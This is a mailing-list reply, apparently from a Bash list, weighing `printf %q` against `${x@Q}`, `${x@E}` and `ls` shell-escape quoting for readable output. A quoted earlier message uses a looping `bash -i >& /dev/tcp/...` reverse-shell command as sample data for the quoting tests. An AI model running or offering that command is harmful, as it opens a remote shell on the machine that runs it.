Re: `printf %q` but more human readable

[Peng Yu]

It is not a valid assumption to assume the input is in filename. Even
it were a valid assumption, `ls --quoting-style=shell-escape` is still
not robust.

$ touch $'\001'; ls --quoting-style=shell-escape
''$'\001'
$ printf '%q\n' $'\001'
$'\001'

On 3/14/21, Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com> wrote:
> if your datas were filenames, you could have used ls
> --quoting-style=shell-escape
> it optionally only quotes em
>
> On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>
>> > It's just different quoting styles, but I prefer the single-quoted
>> > version too.
>>
>> It is not as simple as that. See below.
>>
>> > GNU /usr/bin/printf does this
>> >
>> > $ /bin/printf "$x"
>> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>> > sleep 5; done &
>> >
>> > And for ${parameter@operator}
>> >
>> > $ echo "${x@Q}"
>> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>> > bash;\nsleep 5; done &'
>>
>> ${x@Q} is not the most human-readable. For example, the extra quote is
>> not necessary in the following case. `printf %q` is even better in
>> this case. I think a most human-readable solution for all cases can
>> not avoiding testing the content of the string.
>>
>> $ x=a; echo "${x@Q}"
>> 'a'
>> $ printf %q a
>> a
>>
>> > $ echo "${x@E}"
>> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>> > sleep 5; done &
>>
>> ${x@Q} is not good either. It can not deal with non-print characters
>> correctly.
>>
>> $ x=$'a\001'; echo "${x@E}"
>> a
>>
>> >
>> > (This confuses me since the manual stated that E produces $'' style
>> > escaping and Q produces single quoted escaping when used for an
>> > array...)
>>
>> The above examples should clarify your confusion. My question is about
>> ALL cases not just about some special cases.
>>
>> --
>> Regards,
>> Peng
>>
>>
>


-- 
Regards,
Peng